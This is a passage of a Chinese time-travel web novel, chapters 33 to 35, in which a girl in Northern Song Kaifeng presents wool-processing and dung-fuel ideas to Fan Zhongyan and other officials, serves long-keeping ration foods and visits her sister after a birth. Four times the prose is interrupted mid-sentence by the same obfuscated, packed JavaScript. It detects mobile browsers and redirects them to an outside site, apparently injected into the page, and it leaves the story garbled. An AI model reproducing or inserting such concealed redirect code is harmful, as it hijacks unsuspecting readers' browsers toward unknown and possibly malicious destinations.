石介指着后来者三人依次介绍，果然不出她所料，那老者是范仲淹，中年男子为富弼，而那个年轻人确是韩琦。 随后，石介抚髯问道："今日你说新奇事物要向我等展示，现在就可以开始了。"他早注意到院中有被草席覆盖着的物品。 众人或含笑颔首，或凝神静听，或面无表情。 吴悦深吸一口气，恍若置身教室在被领导听课，示意大丫与蔡翠兰一道，将草席尽数掀开。 “这是何物？”指着竹席上的白色毛绒，看似某种动物的毛。作为师父，石介以提问为弟子拉开序幕。 “这是用草木灰和皂角清洗过后的羊毛”。让大丫和蔡翠兰各捧起一些，吴悦示意她们靠近一些为众人展示。 范仲淹伸出手，取了几片，置于掌心摩挲，感受触感："似乎颇为柔软，不似我昔年见过的那些。”他曾见过牧民剪取的羊毛，多是紧密贴附一点也不蓬松。 其他人见状也纷纷拿了一些在手中详细端看，连神情超然的胡瑗亦不例外。 “浆洗后去掉羊毛上多余的油脂，又烈日下暴晒消毒，然后用了细枝条反复捶打蓬松，就是各位大人手中的样子。” 吴悦继续以眼神示意蔡翠兰呈上为幼弟缝制的羊毛制品。大丫在旁协助传递，使每位大人皆能近距离观赏——这正是她们事先演练的流程。 “诸位大人手中的衣物，是我身边这位蔡娘子，为她幼弟缝制的御寒之物。”她说完，将位置让给蔡翠兰。 蔡翠兰事先也被提早交代过，要将这个羊毛制品与芦花、柳絮、破旧棉絮的保暖性作一个对比。她聪慧机敏，不仅详述保暖差异，更以自身经历佐证。 "去岁寒冬，幼弟为捡拾柴薪换钱，因为太冷，被差点冻僵在路上。被好心人背回家气息都全无，去邻居家借的被子盖在身上，才把他救了回来。"说得言辞悲切，将差点失去幼弟的痛苦与寒冬的残酷描写得入木三分，让第二次听到的吴悦都觉得鼻子酸酸的。 面前这几位大人当然也不例外，亦为之动容，或垂首叹息，或蹙眉深思，皆流露出悲天悯人之情。 突然蔡翠兰将话锋一转，娓娓讲述弟弟换上羊毛衣物后的变化："自从穿上这些羊毛制品，他在寒风中不再瑟瑟发抖，双手也不会再如冰般刺骨，连苍白的脸颊都泛起了血色。" 她哽咽着说："我们全家感激不尽，终于不惧怕第二天就看不到弟弟活泼的身影，生平第一次感受到冬日里也可以如此安稳，确信自己能够熬过严冬。" 此时，这几位大人终于领悟到手中这些粗陋制品背后的深意。他们又再度细细端详，甚至与邻座交换手中物件。三三两两聚在一起低声交谈，少顷，庭院复归寂静。 范仲淹代表众人，看向吴悦道："我等已经知道小娘子的意思了。其实这羊毛制品，在西北边防并不少见，我们大宋也经常会向辽夏换购羊毛毡物，但是仅限军中制作御寒帐篷。可是那种毛毡，粗糙且十分厚重，我等也就没有在意这羊毛。" 他举起手中羊毛道："但是此絮蓬松轻便，制作的衣服也感觉很是暖和，这与西北交换的毛毡完全不一样，我猜小娘子所说的浆洗后晒开，并且用细枝条捶打蓬松，当是关键所在？” 吴悦肯定的点头，接着说：“西北所流传的毛毡，是清洗后压制所得，因此质地厚重。我们将羊毛捶打蓬松，使得羊毛纤维间的空隙比较大，就能能够有效锁住外部寒冷空气。” 其实吴悦所说的纤维空隙和锁住寒冷空气，众人不太理解，但是他们试着回想了下现在身上穿的狐毛裘衣，皆若有所思地点点头。 “毛毡只拿来用作帐篷保暖和防雨也是因为没有处理干净，"她继续道："需要用草木灰和皂角清洗羊毛上的血迹和粪便，再经烈日暴晒除菌，不然残留物容易导致人生病，不适合贴身穿着。” 现在没有显微镜，人们还不知道看不到的病毒和细菌随处不在，因此吴悦特意强调，羊毛必须经过清洗和太阳的双重消毒。 “如果为了简化浆洗的流程，可以在宰杀时减少过多的血液沾染，也要注意羊群圈养的卫生条件。” 范仲淹颔首以示，似乎没有别的要问。 吴悦紧张地环顾其他沉默不语的人，不知道他们是否能明白她的深意。 杜衍看吴悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609447|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸紧张，满脸通红，笑着安慰她。 “小娘子放心，我等已经明白小娘子的意思。可在晚些写上详细的羊毛处理流程，交予给我们一人一份就好。待我们回去也找些人试上一试，有不明白的地方再来请教。” 石介也是才知道吴悦居然准备的是这等对民生有用之物，顿时感到自己老脸有光。“明天我也要买一些试一试，到时候你也一起过来看看做的对不对。” “是，弟子遵命”感激的看了眼石介，吴悦心中暖意涌动，这般全力捧场的师父哪里找啊！ “那院中的火炉又是何用？"韩琦则指着未及介绍的羊粪燃料问道，"我观竹席上似乎还有物品尚未解说，那些是什么？” 示意蔡翠兰撤下羊毛制品，吴悦亲自舀来一锅清水置于炉上。又让大丫取来晒干的羊粪与茅草，塞入炉膛引燃。"先生及各位大人稍候。" 约莫一炷香时分，锅中凉水已沸腾翻涌，热气蒸腾而上。 “这是晒干的羊粪所制燃料。"吴悦这时才揭开谜底："燃点高、无烟且异味少，就是和木炭比起来烧的比较快。” 富弼看似有点失望，微微蹙眉说：“你可知羊粪是重要的肥料，农人需要用此施肥？” 她点头肯定：“但是我朝羊肉消费量极大，羊粪其实无法被周边田地全部消化。并且羊粪需要与秸秆等物料混合沤制才能制作成肥料，需要一定配比。在西北或者东北牧羊场，并没有太多的良田可以供农人耕种，因此在这些地方可以使用羊粪代替木炭取暖。如此一来，木炭可以被最优化运往到人口稠密的大城市，这节省了木炭的运费，又可以平抑木炭的价格。” 韩琦颔首领意，似乎同意吴悦所说。 富弼迟疑了会，似乎不太确定羊粪施肥需要多少配比，但是也点头表示自己知道了，打算下去就找农人问清楚。 “此物处理可方便？”胡媛暂且收起神游物外的情态，正色发问。 吴悦赶紧回答：“很容易，只需要剔除石子这种杂物，找一通风处，将其薄摊为一寸五分，在烈日下暴晒三至五日。如果在西北降雨稀少、太阳更足的地方，只需要一两日暴晒即可。” 胡媛亦是颔首示意，便不再言语。 范仲淹倒是敏锐捕捉到吴悦话中说的"无烟无异味"，凝目观察片刻，发现炉膛确实没有冒出什么烟雾。作为有切实戍边防守经历的他，瞬间领悟其中军事价值。他眯起双眼，首次将吴悦从头至尾打量一番。暗自忖度，或许是他想多了，或许这小娘子没有暗示此物适合作战时使用，可以减少炊烟暴露行踪的风险？ 暮色四合时分，展示会终于结束。 吴悦长舒一口气，恭请师长与诸位大人移步楼上雅间用餐，并让大丫将未及品尝的点心也一起端上去。 接下来，她的战场就在这包厢之内，正是这看似寻常的点心与今日新呈现的菜肴。 33. 第 33 章 让兄长吴夏先陪同石介和各位大人到二楼包厢就坐。 她则来到厨房，再次确认菜品的上菜顺序，顺便将预先准备的几包小食用油纸扎包好放在礼盒内，交代一盏香后即可传菜，这才安心地上了二楼。 来到二楼却发现兄长在走廊站着，并未进去。 "里面在议事？"吴悦小声询问。 得到他点头予以肯定后，吴悦也能加入，默默靠墙站立片刻，才听道里面终于传来声音："你们二人进来吧。" 紧随吴夏身后步入包厢，吴悦用余光快速扫过这七人的脸色，见众人皆笑意盈盈，‘应该没出什么差错’，她暗自思忖。 让二人进来入座后，却是范仲淹率先开口问："今日小娘子展示的东西，我等都记下了。回去自会找人尝试，若确实好用，便推广于百姓，只是不知道小娘子想要什么回报？" 杜衍接着开口道："我等已远离中枢，如果小娘子想为令尊求一个晋升，这却是有些难。据我所知，令尊也是刚刚领了供备库副使之职，按例起码要磨勘三年才可在行选官。” 吴悦连忙回到：“岂敢让各位大人为难！以私济公也非我本意，献出这些只是因为不忍百姓受冻致死，别无他求。” 杜衍颔首不语，未再深言，也不知他是信了还是没信。 胡媛接过话头："倒是可以允诺让令兄入太学就读，无论考试结果如何。" 这下就是吴夏躬身施礼，但是却诚恳的拒绝："谢安定先生垂爱，但是弟子以为当凭真才实学考取太学，方不负师门教诲。" 石介抚须笑说："为师自然信得过你能考中，不过翼之兄早料到你会推辞，故而备下另一番安排——今后，你可往翼之那里旁听太学课业，也可以前往明富那边在国子监走读。" 这当然是个好事，现在吴夏可以在国子监和太学之间随意选课上了，可以滤掉那些他不喜欢的水课，进行专研教学。 吴悦也因此确定石介已得知外放的消息，不然，怎么会如此匆忙给她哥又找个地读书？ 历史记载他正是上半年接到任命，看到日后自己只能靠借阅笔记继续学业了。 胡媛似是看透她的心思，忽又转头望向她道："我听闻明复已将国子监讲义赠予小娘子，我处亦备有讲义，小娘子可遣人来取。" 范仲淹复又开口道："小娘子若有所求，不妨直言。" 吴悦深知，于这些政治精英而言，若无所求反而易令对方生疑，以为她有意放长线钓大鱼，拿捏作态。倒不如直言相求，讨个好处，一事归一码，彼此两讫，日后相处反倒更坦然。她心中早已有了计较，深知这些人精不会容她攥着偌大好处伺机要挟。 定了定神，吴悦躬身说道："弟子素喜新奇事物，游赏风景、博览志怪小说，尤其喜欢听奇闻怪事。若诸位大人不嫌繁琐，恳望代为搜罗各地异闻、奇花异石，并绘制在这东京城内少见的风物图卷。身为女子，不便如男儿般周游四海，还恳请诸位大人为我开启了解大千世界的窗户。" 众人默然，这是不争的事实——无论出身贵贱，女子的出路终究困于后宅之内，就算是公主亦难例外。 范仲淹率先答应："此事我等记下了，日后定当留意任所之地的风土人情、奇闻轶事，为小娘子记载于纸上，然后传与京中。" 吴悦面上泛起喜色，她又不是真的闲着没事干喜欢看书，只不过是意图在宋代来这么一次工农业大摸底而已。 须知在古代中国，诸多植物资源与技术虽早有记载，却因地理隔阂、经济制约或社会观念桎梏，在北宋时期尚未广泛应用，直到后世才得以推广。 以棉花为例，汉代通过西域传入新疆、云南等地，但长期被视为观赏植物。唐代文献虽载岭南有"吉贝"（木棉），然其种植局限一隅。北宋时，棉花种植仍集中于海南、云南等边远区域，中原百姓衣料仍以麻、丝为主。《太平寰宇记》载海南岛"妇人以吉贝织为衣"，但未成规模。直至宋末元初，黄道婆将海南棉纺技艺传入江南，改良织机工艺，推动长江流域广泛种植棉花。至明代，朝廷颁令广植棉花，棉布才成为主流衣料。 占城稻（早熟耐旱稻种）原产越南，唐代已有零星引种至岭南，但未形成系统推广。南宋时期，随着政治中心南移，占城稻在江南地区广泛种植，与梯田技术相结合形成"稻麦复种"制度，极大提升了粮食产量。唐代山区已出现梯田雏形，如江西、福建的"山田"，然规模较小且分布零散。 北宋时期，南方山区（如福建）已经开始较大规模开垦梯田，但技术较为原始，缺乏系统化的排水保土措施，易引发水土流失。直至南宋因政权南迁，福建等地才逐步发展出"层级筑埂、竹枧引水"的成熟梯田体系，稻米才不再如原先一样惧怕干旱。 再生稻（两季稻）的推广同样经历了类似过程。据《广志》（西晋-郭义恭撰）记载："有盖下白稻，正月种，五月获，获讫，其茎根复生，九月熟。"从播种周期推断，此类再生稻应种植于今两广地区。后因南宋政治中心南移，北方人口大规模南迁导致南方人口激增，人口压力迫使两季稻种植受到重视，而大肆种植。 汉代已出现龙骨水车（翻车），唐代用于农业灌溉，然需依赖人力或畜力驱动。北宋虽普及脚踏翻车，但水力驱动的"水转翻车"记载甚少。及至南宋，随着政权南迁，水力翻车在南方逐步革新并臻于成熟，可利用河渠水流自动提水，灌溉效率远超人力驱动设备。 火药在北宋时期主要用于燃烧发烟，尚未组建专门的火器部队。靖康之变时，宋军仍依赖传统城防体系御敌。南宋为对抗金和蒙这两个北方游牧民族骑兵，才开始加速火器研发进程，最终发明了突火枪，标志着火器发展进入新阶段。 北宋时期的海盐生产仍以煎煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609448|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法为主，即淋卤煎盐技术，先通过滩涂晒制浓缩卤水，再以铁锅煎煮结晶。这种工艺需消耗大量柴草，导致沿海植被破坏严重且成本高昂，制约了盐业规模化发展。但是据记载，浙江象山地区在唐代已有晒盐活动，至元代发展出"刮泥淋卤法"，通过吸附滩涂咸泥中的盐分淋水制卤，减少了对植被的依赖。而后世熟知的全流程日晒滩涂晒盐法（具有低成本、大规模优势），直至明清时期才得以大范围推广。可是，文献可得，早在南宋时期的福建、广东等日照充足地区已出现局部晒盐实践，但受限于交通闭塞、技术交流不畅，更兼煎煮法已形成成熟的税收体系，朝廷缺乏改革动力，致使晒盐法未能成为主流制盐工艺。 总的来说，南宋政权南迁后，南方人口激增与政治中心转移，推动了中原与南方的科技大交流，迫使技术升级，进而改变了中国的农业、手工业与军事格局。元朝实现大一统后，南北技术进一步融合，使得比如棉纺技术自南向北传播，这才有了后世江南纺织业的黄金大发展。 后世近代史的历史昭示，人当睁眼看世界，不可作井底之蛙，更不可狂妄自大。 因此她期望，通过收集不同的风土人情、奇物轶事，能促使眼前这些在当前大宋最具有改革意识的有志之士，不再局限于脚下的一亩三分田，转而关注那些未被重视的偏远地区与边缘领域。 "好了，可以上菜了，我都饿了。"石介抚腹作饥饿状，众人皆轰然大笑。 吴悦忙命人传菜，早有在廊下等候多时的伙计鱼贯而入，将菜肴依次摆上。所幸等候时间并不长，瓷碟还在冒着热气。 除食店的经典菜式外，此次增添了三道新菜品。 第一道就是杂烩菜羹，以炸豆腐、炸莲藕、炸酥肉佐以白菜等食材同炖，荤素相济、汤菜交融，冬日食之既暖脾胃又饱口腹。此菜名曰"七珍攒盒羹"，暗含豆腐（素珍）、莲藕（水珍）、酥肉（陆珍）等七种食材汇聚之意。 第二道为“酪酥煎糯饼”，取糯米混合肉丁、小米、大米及豆类制成粑粑，切成薄片后，以平底锅刷油小火煎至两面金黄。食用时淋上秘制酱汁，外酥内糯，兼具主食与茶点之妙，饱腹感极强。 最后一道是个压轴甜品，名曰“琥珀叠翠糖”。其制法颇为讲究，先以小火将猪油融化，继而炒制米粒至琥珀色，临起锅前拌入炒芝麻与核桃、去核红枣干及蜂蜜。待混合物冷却凝固后，切成拇指见方的立方体，层层堆叠。观其色泽，红枣嫣红、芝麻乌亮、米粒焦黄，三色交织煞是好看。油脂均匀包裹米粒，既能延缓受潮变质，常温下又可保存四月有余。 这其实是她为蒙古骑兵军粮做的改良版——在传统炒米基础上，添加猪油以提升热量密度，佐以红枣蜂蜜增添甜味层次，加入芝麻核桃等富含饱和脂肪的坚果，全面优化了干粮的能量供给、风味口感与保存性能，尤适用于严寒环境或高强度户外活动。 34. 第 34 章 “这”。 富弼盯着最后这道甜品，夹了一筷子尝了块，又看向手旁那叠似乎少了红枣和芝麻的压缩后的米饼。这俩看起来摸样很是相似，味道却大不同。刚刚因为有些饥饿，他吃了几块拇指见方的米饼入口，吃起来那是椒香咸口。 韩琦在试过一碗烩菜后，也夹起一块煎至金黄酥脆的糯米粑粑。饼身外脆内糯，美中不足的是连食几片便觉油腻，想继续吃却感觉胃似乎有些饱了。 其他人都是一样的状态，仅尝过这三道新菜便已饱腹感渐生，只能勉强尝了几口炖羊肉。接下来只能就着随菜奉上的混着茶香、奶香与蜂蜜的乳白色饮品喝了几口，便再难进食。 吴悦却丝毫不觉意外，她特意准备的这几道油腻厚重之物，为的就是让他们少食即饱。 后世吃过糯米粽子、小酥肉或萨其马，便能理解这是为何。比如，糯米粑粑里的糯米，淀粉结构难以被人体消化酶快速分解，糖分缓慢释放，饱腹感可维持4-6小时。而油炸食品如小酥肉、萨其马中的油脂属于高热量物质，同等重量下热量倍增。 此类由油脂与抗性碳水化合物构成的食物，完美满足“高能量密度+耐储存”的生存需求，在轻量化、便携性与极端环境适应性的这些优点之上，完全可以作为现在理想的野战口粮或灾难应急食品。 整个包厢的人，都默默品完了两壶清茶，评点了最近在大相国寺举办的元旦诗会的诗句，才又勉强举箸夹了几口菜。 最终，众人皆望着满桌未动半的佳肴，眼中纷纷泛起遗憾之色。 吴悦见状，适时开口道："诸位大人见谅，我有个不情之请。" 杜衍颔首道："小娘子但说无妨。" 吴悦接着说："本店惯例将剩食打包收置，给予街上流浪的乞儿食用。不知各位大人可否允许我将此席剩下的饭菜施与贫童？” 富弼率先应道："善哉，有劳小娘子。" 见众人面上憾色顿消，她知道他们一方面拉不下面子打包菜回家，另一方面又委实不忍暴殄天物，这样主动给他们一个台阶下，让他们也感觉到自己这是在施舍穷人，内心也能得到一丝丝平静。 遂福身称谢："我代他们叩谢诸位大人厚赐。" 范仲淹叹口气："何谢之有？终究是我等为官不善的结果。” 包厢内又安静了下来，只能听到众人呼吸的声音。 作为今日的组织者，石介起身致辞："承蒙令尊今日闭店款待，我等铭感五内。"言罢起身揖谢。 “天色已晚，我等也要回家了。”孙复言罢，率先举步欲行，众人随之起身。 “大人留步。"拦下孙复一行，她将置于包厢多时的礼盒奉上。"此盒内备有羊毛加工工艺、羊粪制作燃料的方法，以及为诸位大人年后离京准备的路上干粮。干粮很是耐饥，可以直接食用，也可以用热水冲泡。盒内也附有食谱，诸位大人闲暇时不妨尝试制作。" 吴悦为他们每人准备了低配版琥珀叠翠糖——以猪油炒米，佐以红枣、栗子。 后面两个都是当前北宋最主要的经济作物，栗子既可鲜食，也可晒干储存，常作为粮食补充，尤其在饥荒时充作代粮。红枣耐旱，适宜北方干旱地区种植，河北、山东、山西等地都为重要产地。《宋会要辑稿》提及河北沧州“枣林成片”，京东路（今山东）枣树繁茂。红枣易储存，北宋时作为重要干果和饥荒储备粮，民间还有“枣熟半年粮”之说，可见这两种在北宋之常见。 富弼收下礼盒，反问，“小娘子都将食谱授予我等，日后怎么开店？” 古代，食谱也是一种资源，通过家族传承，可以带来竞争优势，然后垄断市场获得高昂的利润。 她笑着答道："这天下的生意怎么可能让一个人独揽的？再者说，给大人们的这份食谱实为简化版，只适长途旅途。虽然耐饥便携、制作简易，却滋味寡淡，只不过是一时权宜之策罢了。” 这份食谱确实简单，她将炒米和炒面配方一起列出。按四成米或面、四成炒豆粉、三成栗子粉的比例混合，加少量猪油粘合，压制成块状。可蒸制一个时辰，亦可暴晒两日。用油纸包裹携带，内置花椒叶驱虫。食用时，可以掰碎干吃，搭配凉水或茶水，也可加热水调成糊状，类似后世的“速食粥”。 泉州民间就有这样一种古老面食很是类似，相传明嘉靖年间戚继光入闽抗击倭寇时，泉州百姓为将士准备了可随身携带的干粮“布袋炒面”，即是流传至今的“三合面”，走到哪儿吃到哪儿。其制作方法就是把炒过的面粉、糖粉、油葱花拌和，经开水冲泡搅拌成糊，充饥美食两相宜，具有香甜可口、健脾补胃。 富弼不置可否，点点头，收下了这份礼盒。 吴悦只希望他能看一眼这个食谱，并且决定尝试一下。 因为就在今年，暴雨会导致河北发生严重水灾，数以万计的百姓流离失所，以京东路最为严重，流民有六七十万之多。富弼到任后，劝谕官民捐粮，辅以官廪赈济，并征集公私房舍十余万间安置流民，供给柴水，终于使五十余万人获救。 因此这炒面/炒米不只适合当行军粮，也适合当应急粮。因为水灾过后，会缺干净的饮用水和干燥的木柴，运输赈灾粮入灾区时，也会因为缺水与柴而不易炊事。但是这个不需要烹煮，配些水直接服用就可，实在是赈灾的良方啊。 吴悦将各位大人一一送至巷口，最后唯有石介落在后面。 她拉着兄长，执意要送石介回府。 在吴夏去拉牛车过来时，吴悦轻轻扯了扯石介的衣袖，小声地问“先生，弟子想问现在杭州知州是何人？” 石介似乎并不意外弟子有悄悄话与他说，也小声地回道：“说吧，你想做什么？” 她莞尔一笑，为师徒间的默契暗自欣喜：“我听闻杭州有个工匠很是不凡，不知先生可否派遣些人去，将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609449|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请来？” 石介也不打算问这个工匠她是怎么知道的，今日的这两样民生用品，已让这位弟子在他心中的分量又重了几分，也并不会觉得小娘子在胡闹。当下正色问道："可知其名讳？" “知道知道，此人叫毕昇，应该在一家书铺做工。”吴悦立刻解下腰间的荷包，恭敬地双手奉上："有劳先生了。” 石介接过荷包掂量两下，讶然道："看来这位匠人着实不凡，你这给他的车马费和月俸倒是不少。” 嘿嘿，她唯有赧然一笑。 “行啦，为师知道了。”看到吴夏拉着牛车过来，石介便收了话头，"你也不用送了，早早和你兄长归家安歇吧，明天来我府内展示怎么清洗羊毛。”说罢转身步出巷口，小厮提着礼盒紧随其后，不多时便消失在暮色中。 “我们也回吧，明早我还要去先生家呢”吴悦也轻捷登上牛车，掩口打了个哈欠。无论何时，这种大型的研讨会加餐会，着实令人倦怠，今晚这得好好休息一下。 可惜今晚她也没有睡个好觉，因为当吴悦回家时，发现家中爹娘都不在，而是去了大姐家，唯有祖母独坐前厅，满面愁容。见孙子孙女归来，老夫人方舒一口气，即刻命吴夏前去朱府探探情况。 原来大姐丽娘午后突然动了胎气，这几个时辰过去了，尚未传来任何消息。 在古代，妇人生产无异于是去了趟鬼门关，吴悦顿觉寒意透骨，心中什么样的念头都有。 吴夏听到后也立刻策马离去，过了一个时辰后，又匆匆折返，从家中库房拿走一个药箱，只道一句"孩子尚未落地"，便又扬鞭策马而去。 只留祖孙二人枯坐在前厅。 吴王氏后来索性跪在祖宗牌位前，祷念不止，祈求庇佑。 吴悦也陪着一起祈祷，生平首次祈求上天，念叨着穿越大神，保佑大姐平安。 直到次日清晨，吴夏才与父母同归。 "母子平安。"刘耘娘虽满面憔悴，眼中却泛起欣慰之光，"丽娘虽然早产月余，但是所幸平素强健，历经艰辛终得麟儿，我们对亲家总算也有了交代。" 对她娘这话，吴悦不加以评价。但是总归，悬着的心头的石头也落下。 吴王氏年事已高，老人熬夜受损最大，刘耘娘立刻扶着婆婆去休息。 吴悦也感到困顿难支，但是还强撑着派人去石介那里知会一下，今日实在无法前去赴约。 就拖着昏沉的脑袋回去睡觉了。 睡前还在想，醒了一定要去朱府探视姐姐。 可是直到去石介府上演示羊毛制作工艺，正月十四又去了五岳观外，与人群挤在观门口，围观宋仁宗率领仪仗队求子。 她们自然无法入内，也看不见仪式。就是凑个热闹，吴悦趁机在观前买了一堆小吃，每个都尝了几口，就把剩余的丢给她哥。 一直到她都开学了，朱府那边才传话，可以来探望了。 35. 第 35 章 再过两天这都满月了，怎么能拖拖拉拉一个月才让过府，她很是不满。但是刘耘娘却接受很好，这嫁去别人家当媳妇就是这样，处处要受人约束。 带着愤愤不平的情绪踏入朱府，只见大姐丽娘躺在床榻上，脸色依旧苍白如纸，而小外甥女则一脸害怕的依偎在母亲身旁，本应该陪同妻子的大姐夫朱恒却依旧缺席。吴悦甚至想当场开口骂人，整整一年她竟从未见过这人，每次问起都说在忙，也不知在忙些什么。联想到大姐突然动了胎气，她甚至开始以最坏的恶意揣测，说不定就是这朱恒干了什么坏事。 等着乳母将新生儿抱来，她搂着朱涴妤坐在外间的圆椅上，向小外甥女描述五岳观的盛景。 “所以小姨也没有看到官家长什么样吗？”朱涴妤晃着头上的花苞头，用稚嫩的童声问道。 “没有，官家坐着车辇里，四周垂着明黄销金帷幔，从外面什么都看不到。"她捏了捏外甥女的小手，软和和的，像解压玩具一样好捏。 "而且街道两边都设有五步一岗的牙道，禁军都持着剑戟围着呢。” “那外公是禁军，外公是不是也在？”朱涴妤继续问。 “你外公不是负责御前的禁军，是负责皇城巡防的。” 事实上那天，吴父带领着一些士兵在内城的曹门驻守。天子出巡非同小可，东京城九门皆由禁军严密驻守，连汴河漕船都暂停通航。见外甥女露出失望神色，她忙说：“虽然小姨没有看到官家长什么样，观前广场却热闹得紧！官家安排了百戏伎艺轮番上演，有人在百尺竿头倒立顶碗，还有相扑力士搏击呢，甚是好看。” "啊....."朱涴妤拉长声音，有点不开心。她也想去，但是这几天娘亲一直躺床上，阿婆和阿公也只关心弟弟，连爹爹都没怎么回家。 吴悦悄悄看向内室，发现大姐正在和她娘说着什么，就将小姑娘一把抱坐在膝头，凑近耳畔轻声问："小姨问你哦，这几天涴涴有没有发现有什么不对劲的地方呀？” 小姑娘眼睛倏地亮起来，像只敏捷的松鼠般凑到吴悦耳边，压低声音道："小姨，我和你说哦......"一边说，一边掰着手指头数起来。 另外一边，吴丽娘很是欣慰的看着外面亲昵耳语的两团小人，心中泛起暖意。这些日子她缠绵榻上，确实有些忽略女儿，涴涴一直闷闷不乐，此刻倒像只重新抖擞羽毛的小雀儿。 只是...... 她将视线收回，望向母亲："小妹是不是长高了不少，力气也大了，她刚刚还把涴涴抱在腿上。这明明只差一岁，怎么看起来却像是差了三岁？” 刘耘娘听了，也转过头看向女儿和外孙女方向。看起来，似乎有一个比较大只。 她有点迟疑的说：“好像就是来东京的这一年，个头猛地一窜，你不说我也没有注意。这么一想，衣服确实没到两个月就小了，要重新做。平常和青枣站一起都差不多高，这出来了，和涴涴这么一比，倒比同龄孩子高一头了。” 吴丽娘噗嗤的笑了出来，“娘，青枣可比小妹大了四岁了，怎么能一样高呢？”又看了过去，目光却温柔地落在女儿身上，“而且涴涴最近也长了不少，比原来也结实多了，你看之前你来，她话都不敢说，就喜欢乳母抱着不愿意动。” 又回忆了下说，“特别喜欢小妹送的羊奶和那什么奶酪馅饼，天天跑来问我，小姨什么时候送新的来。送来了，小孩子又管不住嘴，没两天就吃完了，甚至闹着让婆母去买。婆母说这是什么蛮夷之物不给吃，就跑去闹公爹。现在那是每天都要一杯奶不离手，还嫌弃乳娘的乳水不好喝，都快小半年不喝乳母了。往年秋凉总咳个不停，今年她反而又蹦又跳的，前几天甚至还偷偷瞒着我去玩水，活泼得很。听说官家巡幸五岳观，也眼巴巴地想去，要不是看我实在躺在床上无法动弹，还不知道要怎么闹呢。” 刘耘娘想起什么似的点头："可不是，好像悦娘也是从开始吃那些她摆弄的羊奶、奶酪之后，个子竟像春竹拔节似得....”她忽地停住.... 母女俩对视一眼，皆从对方眼中看出狐疑。要知道，吴悦可是从来没停过在她们耳边叨叨着鲜奶的好处。 吴丽娘抚着胸前盖着的锦被沉吟："说起来，我这胎虽然早产半月，却说孩子身量比那足月儿还大些，因此这才受了些苦。莫不是那羊奶和奶酪真有奇效？” 俩人又看向外室，突然见吴悦站起身，将朱涴妤高高举起，在厅中旋了一圈。 刘耘娘惊得起身，准备要把朱涴妤抢回来，就发现吴悦已经稳稳将人放下，拉着开心地笑得牙齿都露出来的朱涴妤走了过来。 人还未到身前，她一把抱回还在嘿嘿嘿傻笑的朱涴妤，尖声训斥吴悦。"你自己多大岁，心里没数吗？把涴涴摔着了怎么办。" 想了想不对，又接着骂“你也是，还没到七岁，小胳膊小腿的怎么敢去学大人抱孩子，胳膊不想要了？” 嘿嘿。 吴悦也有点心虚，她还以为自己还是前世那个成年人，也是抱起来后发现小外甥女还挺重，是个实心的球。 只能讷讷辩解：“以后不敢了。”然后试图转移话题，对着吴丽娘问：“姐，我小外甥呢，怎么这么久乳母都没把人抱来，你的话是不管用了吗？换一个吧。” 吴丽娘斜倚在床头，伸出手指点了下妹妹额头说：“什么话你都敢说，这个乳母可是婆母亲自选的，那可是天天跟在盯着看着，比我还要操心，没你的事少掺和。” 刘耘娘也帮腔道：“就是，你以为乳母好找啊？少给你姐添事。” 吴悦嗤笑一声，双手捂住朱涴妤的耳朵急声道："反正这金孙也有了，你这婆婆想霸着，就霸着呗，照顾不好了也是她的事。姐姐还是好好坐月子，恢复身体才要紧。” 突然被捂住耳朵，朱涴妤懵了一会才反应过来，仰起头问：“小姨你在说什么？” 她松开手，将小姑娘搂进怀里，正色的说："自然是好话，夸你祖母勤劳能干呢。” “哦。”朱涴妤信以为真，转头对她娘说：“小姨说想看爹爹过年时给我的压胜钱，娘你给我放哪里了？” 吴丽娘怔了怔，想了想说：“在你床头的抽屉里，就是你放很多叠纸的那个。” “好的，我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609450|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿给小姨！”小姑娘脆生生应着，蹦跳着往自己的房间跑去。 望着朱涴妤蹦跳时双髻上的发带在空中翻飞，吴悦眼底泛起慈爱，轻笑道“小孩子真好骗啊。” 